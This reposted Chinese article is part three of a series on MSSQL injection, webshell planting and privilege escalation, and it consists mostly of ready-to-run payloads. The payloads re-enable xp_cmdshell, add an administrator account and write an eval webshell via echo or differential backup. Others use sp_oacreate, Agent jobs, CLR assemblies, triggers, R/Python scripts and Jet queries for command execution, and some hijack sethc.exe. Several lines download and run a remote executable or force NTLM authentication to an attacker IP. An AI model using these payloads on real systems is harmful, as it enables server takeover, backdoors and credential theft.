数据库注入提权总结（三）

数据库注入提权总结（三）
2022-8-12 14:18:59 Author: www.secpulse.com(查看原文) 阅读量:41 收藏

MSSQL GetShell

扩展存储过程

扩展存储简介

在MSSQL注入攻击过程中，最长利用的扩展存储如下

xp_cmdshell详细使用方法：

xp_cmdshell默认在mssql2000中是开启的，在mssql2005之后的版本中则默认禁止 。如果用户拥有管理员sysadmin 权限则可以用sp_configure重新开启它

execute('sp_configure "show advanced options",1')  
execute('reconfigure')                             
execute('sp_configure "xp_cmdshell", 1')           
execute('reconfigure')                             
execute('sp_configure')                            
execute('xp_cmdshell "whoami"')                    

exec sp_configure 'show advanced options',1;       
reconfigure;                                       
exec sp_configure 'xp_cmdshell',1;                 
reconfigure;                                       
exec sp_configure;                                 
exec xp_cmdshell 'whoami';                         


exec xp_cmdshell 'net user Guest 123456'           
exec xp_cmdshell 'net user Guest /active:yes'      
exec xp_cmdshell 'net localgroup administrators Guest /add'  
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'

扩展存储Getshell

条件

数据库是 db_owner 权限
扩展存储必须开启，涉及到的的扩展存储过程: xp_cmdshell、 xp_dirtree、 xp_subdirs、 xp_regread

1.查看是否禁用扩展存储过程xp_cmdshell
id=0 union select 1,2,count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'--+
id=1 and 1=(select count(*) from master.sys.sysobjects where name='xp_cmdshell')--+

2.执行命令
id=1;exec master.sys.xp_cmdshell 'net user admin [email protected] /add'--+
id=1;exec master.sys.xp_cmdshell 'net localgroup administrators admin /add'--+

差异备份GetShell

差异备份简介

差异备份数据库得到webshell。在sqlserver里dbo和sa权限都有备份数据库权限，我们可以把数据库备份称asp文件，这样我们就可以通过mssqlserver的备份数据库功能生成一个网页小马。

前提条件

具有db_owner权限
知道web目录的绝对路径

寻找绝对路径的方法

报错信息
字典爆破
根据旁站目录进行推测
存储过程来搜索

在mssql中有两个存储过程可以帮我们来找绝对路径：xp_cmdshell xp_dirtree

先来看xp_dirtree直接举例子

execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录 
execute master..xp_dirtree 'c:',1 --只列c:\目录
execute master..xp_dirtree 'c:',1,1 --列c:\目录、文件

当实际利用的时候我们可以创建一个临时表把存储过程查询到的路径插入到临时表中

CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;

当利用xp_cmdshell时，其实就是调用系统命令来寻找文件

例如：

?id=1;CREATE TABLE cmdtmp (dir varchar(8000));
?id=1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (1*.aspx) do @echo %i'

读配置文件

差异备份的大概流程

1.完整备份一次(保存位置当然可以改)
backup database 库名 to disk = 'c:\ddd.bak';--+

**2.创建表并插入数据** 
create table [dbo].[dtest] ([cmd] [image]);--+
insert into dtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E);--+

**3.进行差异备份** 
backup database 库名 to disk='c:\interub\wwwroot\shell.asp' WITH DIFFERENTIAL,FORMAT;--+

xp_cmdshell GetShell

原理很简单，就是利用系统命令直接像目标网站写入木马

?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx' ;

这里要注意 <和>必须要转义，转义不是使用\而是使用^

文件下载getshell

当我们不知道一些网站绝对路径时，我们可以通过文件下载命令，加载远程的木马文件，或者说.ps1脚本，使目标机器成功上线cs或者msf

MSSQL提权

存储过程说明

xp_dirtree

用于显示当前目录的子目录，有如下三个参数
directory：表示要查询的目录

depath：要显示子目录的深度，默认值是0，表示所有的子目录

file：第三个参数，布尔类型，指定是否显示子目录中的文件，默认值是0，标水不显示任何文件，只显示子目录

xp_dirtree 能够触发NTLM请求xp_dirtree '\\<attacker_IP>\any\thing'

xp_subdirs

用于得到给定的文件夹内的文件夹列表

exec xp_subdirs 'c:\'

xp_fixeddrives

用于查看磁盘驱动器剩余的空间

exec xp_fixeddrives

xp_availablemedia

用于获得当前所有的驱动器

exec xp_availablemedia

xp_fileexist

用于判断文件是否存在

exec xp_fileexist 'c:\windows\123.txt'

xp_create_subdir

exec xp_create_subdir 'c:\users\admin\desktop\test'

xp_delete_file

可用于删除文件，但是不会删除任意类型的文件，系统限制它只能删除特定类型（备份文件和报表文件）

第一个参数是文件类型（File Type），有效值是0和1，0是指备份文件，1是指报表文件；
第二个参数是目录路径（Folder Path），目录中的文件会被删除，目录路径必须以“\”结尾；
第三个参数是文件的扩展名（File Extension），常用的扩展名是'BAK' 或'TRN'；
第四个参数是Date，早于该日期创建的文件将会被删除；
第五个参数是子目录（Subfolder），bool类型，0是指忽略子目录，1是指将会删除子目录中的文件；

xp_regenumkeys

可以查看指定的注册表

exec xp_regenumkeys 'HKEY_CURRENT_USER','Control Panel\International'

xp_regdeletekey

删除指定的注册表键值

EXEC xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe';

xp_regwrite

描述：

修改注册表

利用条件：

xpstar.dll

修改注册表来劫持粘贴键(映像劫持)

(测试结果 Access is denied，没有权限)
exec master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'

sp_addextendedproc

可以用于恢复组件

EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regread ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll'

sp_dropextendedproc

用于删除扩展存储过程

exec sp_dropextendedproc 'xp_cmdshell'

xp_cmdshell

描述：

xp_cmdshell 是 Sql Server 中的一个组件，我们可以用它来执行系统命令。

利用条件：

拥有 DBA 权限, 在 2005 中 xp_cmdshell 的权限是 system，2008 中是 network。
依赖 xplog70.dll


select is_srvrolemember('sysadmin');


EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;


select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell'


EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;


EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;


exec xp_cmdshell 'cmd /c whoami'


exec xp_cmdshell '"echo $client = New-Object System.Net.WebClient > %TEMP%\test.ps1 & echo $client.DownloadFile("http://example/test0.exe","%TEMP%\test.exe") >> %TEMP%\test.ps1 & powershell  -ExecutionPolicy Bypass  %temp%\test.ps1 & WMIC process call create "%TEMP%\test.exe""'

无回显，也无法进行dnslog怎么办：

通过临时表查看命令执行结果（在注入时，要能堆叠）

CREATE TABLE tmpTable (tmp1 varchar(8000));
insert into tmpTable(tmp1) exec xp_cmdshell 'ipconfig'
select * from tmpTable

如果 xp_cmdshell 被删除了:

如果 xp_cmdshell 被删除了，需要重新恢复或自己上传 xplog70.dll 进行恢复

以mssql2012为例，默认路径为:

C:\Program Files\Microsoft SQL Server\MSSQL12.MSSQLSERVER\MSSQL\Binn\xplog70.dll


Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'


Exec sp_addextendedproc 'xp_cmdshell','xplog70.dll';
select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'


Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'

sp_oacreate

描述：

使用sp_oacreate的提权语句，主要是用来调用OLE对象（Object Linking and Embedding的缩写，VB中的OLE对象），利用OLE对象的run方法执行系统命令。

利用条件：

拥有DBA权限
依赖odsole70.dll


select is_srvrolemember('sysadmin');


select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'


exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures', 1;
reconfigure;


declare @ffffffff0x int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate 'wscript.shell',@ffffffff0x output
exec sp_oamethod @ffffffff0x,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;


declare @ffffffff0x int
exec sp_oacreate 'wscript.shell',@ffffffff0x output
exec sp_oamethod @ffffffff0x,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\www\\1.txt'


declare @ffffffff0x int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@ffffffff0x output
exec sp_oamethod @ffffffff0x,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;


DECLARE @ObjectToken INT;
EXEC Sp_OACreate '{00000566-0000-0010-8000-00AA006D2EA4}',@ObjectToken OUTPUT;
EXEC Sp_OASetProperty @ObjectToken, 'Type', 1;
EXEC sp_oamethod @ObjectToken, 'Open';
EXEC sp_oamethod @ObjectToken, 'Write', NULL, 0x66666666666666663078;
EXEC sp_oamethod @ObjectToken, 'SaveToFile', NULL,'ffffffff0x.txt',2;
EXEC sp_oamethod @ObjectToken, 'Close';
EXEC sp_OADestroy @ObjectToken;


declare @o int, @f int, @t int, @ret int,@a int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o,'createtextfile', @f out, 'c:\\www\\ffffffff0x.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, 'hahahahahahhahahah'declare @o int, @f int, @t int, @ret int,@a int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o,'createtextfile', @f out, 'c:\\www\\ffffffff0x.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, 'hahahahahahhahahah(这里是文件写入的内容)'


DECLARE @s int EXEC sp_oacreate [wscript.shell], @s out
EXEC sp_oamethod @s,[run],NULL,[c:\\www\\ffffffff0x.vbs]


declare @ffffffff0x int;
exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out;
exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\\windows\\system32\calc.exe','c:\\windows\\system32\calc_copy.exe';


declare @ffffffff0x int
exec sp_oacreate 'scripting.filesystemobject',@ffffffff0x out
exec sp_oamethod @ffffffff0x,'movefile',null,'c:\\www\\1.txt','c:\\www\\3.txt'


declare @ffffffff0x int;
exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out;
exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\\windows\\system32\calc.exe','c:\\windows\\system32\sethc.exe';

declare @ffffffff0x int;
exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out;
exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\sethc.exe'


declare @ffffffff0x int
EXEC sp_OACreate 'ScriptControl',@ffffffff0x OUT
EXEC sp_OASetProperty @ffffffff0x, 'Language','JavaScript'
EXEC sp_OAMethod @ffffffff0x, 'Eval', NULL,'var o=new ActiveXObject("Shell.Users");z=o.create("testuser");z.changePassword("[email protected]#","");z.setting("AccountType")=3;';

SQL Server Agent Job 代理执行计划任务

描述：

SQL Server 代理是一项 Microsoft Windows 服务，它执行计划的管理任务，这些任务在 SQL Server 中称为作业。

利用条件：

拥有 DBA 权限
需要 sqlserver 代理 (sqlagent) 开启，Express 版本Sql Server 是无法启用的


exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';




use msdb;
exec sp_delete_job null,'test'
exec sp_add_job 'test'
exec sp_add_jobstep null,'test',null,'1','cmdexec','cmd /c "whoami>c:/out.txt"'
exec sp_add_jobserver null,'test',@@servername
exec sp_start_job 'test';

CLR提权

描述：

从 SQL Server 2005 (9.x) 开始，SQL Server 集成了用于 Microsoft Windows 的 .NET Framework 的公共语言运行时 (CLR) 组件。这意味着现在可以使用任何 .NET Framework 语言（包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#）来编写存储过程、触发器、用户定义类型、用户定义函数、用户定义聚合和流式表值函数。 - https://docs.microsoft.com/zh-cn/sql/relational-databases/clr-integration/common-language-runtime-clr-integration-programming-concepts?view=sql-server-ver15

CLR 方式可以利用 16 进制文件流方式导入 DLL 文件，不需要文件落地

MDUT 中的16进制的dll

dll的制作可以参考下面的文章

https://xz.aliyun.com/t/10955#toc-12

利用条件：

拥有DBA权限


sp_configure 'show advanced options',1;RECONFIGURE; 
sp_configure 'clr enabled',1;RECONFIGURE; 
ALTER DATABASE master SET TRUSTWORTHY ON; 


sp_configure 'show advanced options',1;RECONFIGURE;
sp_configure 'clr enabled',1;RECONFIGURE;
sp_add_trusted_assembly @hash= <SHA512 of DLL>; 


EXEC sp_changedbowner 'sa'
ALTER DATABASE [test] SET trustworthy ON


CREATE ASSEMBLY [mssql_CLR]
  AUTHORIZATION [dbo]
  FROM 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  WITH PERMISSION_SET = UNSAFE;
GO


CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [mssql_CLR].[StoredProcedures].[ExecCommand]
go


exec dbo.ExecCommand "whoami /all";







CREATE ASSEMBLY [clrdata]
AUTHORIZATION [dbo]
FROM 0x16进制的dll
WITH PERMISSION_SET = UNSAFE;


CREATE PROCEDURE [dbo].[testclrexec]
@method NVARCHAR (MAX) , @arguments NVARCHAR (MAX)
AS EXTERNAL NAME [clrdata].[StoredProcedures].[testclrexec]


exec testclrexec 'cmdexec',N'whoami'

触发器提权

触发器是一种特殊类型的存储过程，它不同于存储过程。触发器主要是通过事件进行触发被自动调用执行的。而存储过程可以通过存储过程的名称被调用。

SqlServer 包括三种常规类型的触发器：DML 触发器、DDL 触发器和登录触发器

登录触发器：

登录触发器将为响应 LOGIN 事件而激发存储过程。与 SQL Server 实例建立用户会话时将引发此事件。登录触发器将在登录的身份验证阶段完成之后且用户会话实际建立之前激发。因此，来自触发器内部且通常将到达用户的所有消息(例如错误消息和来自 PRINT 语句的消息)会传送到 SQL Server 错误日志。如果身份验证失败，将不激发登录触发器。


set ANSI_NULLS on
go
set QUOTED_IDENTIFIER on
go
create trigger [ffffffff0x]
on [user]
AFTER UPDATE as
begin
    execute master..xp_cmdshell 'cmd.exe /c calc.exe'
end
go


UPDATE user SET id = '22' WHERE nickname = 'f0x'

SQL Server R 和 Python 的利用

描述

在 SQL Server 2017 及更高版本中，R 与 Python 一起随附在机器学习服务中。该服务允许通过 SQL Server 中 sp_execute_external_script 执行 Python 和 R 脚本

利用条件：

Machine Learning Services 必须要在 Python 安装过程中选择

必须启用外部脚本

EXEC sp_configure 'external scripts enabled', 1
RECONFIGURE WITH OVERRIDE
重新启动数据库服务器
用户拥有执行任何外部脚本权限



sp_configure 'external scripts enabled'
GO
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO


@script=N'.libPaths("\\\\testhost\\foo\\bar");library("0mgh4x")'




exec sp_execute_external_script
@language =N'Python',
@script=N'import sys
OutputDataSet = pandas.DataFrame([sys.version])'
WITH RESULT SETS ((python_version nvarchar(max)))


exec sp_execute_external_script
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'


EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
WITH RESULT SETS (([cmd_out] nvarchar(max)))

AD Hoc 分布式查询 & Microsoft OLE DB Provider for Microsoft Jet (沙盒提权)

AD Hoc 分布式查询允许从多个异构数据源（例如 SQL Server 的多个实例）访问数据。这些数据源可以存储在相同或不同的计算机上。启用临时访问后，登录到该实例的任何用户都可以使用 OLE DB 提供程序通过 OPENROWSET 或 OPENDATASOURCE 函数执行引用网络上任何数据源的 SQL 语句。

攻击者滥用 Ad Hoc 分布式查询和 Microsoft OLE DB Provider for Microsoft Jet 来创建和执行旨在从远程服务器下载恶意可执行文件的脚本。

利用条件

拥有 DBA 权限
sqlserver 服务权限为 system
服务器拥有 jet.oledb.4.0 驱动


EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0


EXEC sp_configure 'show advanced options', 1
RECONFIGURE
GO
EXEC sp_configure 'ad hoc distributed queries', 1
RECONFIGURE
GO


EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'AllowInProcess', 1
EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'AllowInProcess', 1


EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'DynamicParameters', 1
EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'DynamicParameters', 1





Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:\windows\system32\ias\ias.mdb',
'select shell("whoami")');

select * from openrowset('microsoft.jet.oledb.4.0',';database=\\192.168.1.8\file\ias.mdb','select shell("c:\windows\system32\cmd.exe /c net user >c:\test.txt ")');

（四）

本文作者：合天网安实验室

本文为安全脉搏专栏作者发布，转载请注明：https://www.secpulse.com/archives/185215.html

文章来源: https://www.secpulse.com/archives/185215.html
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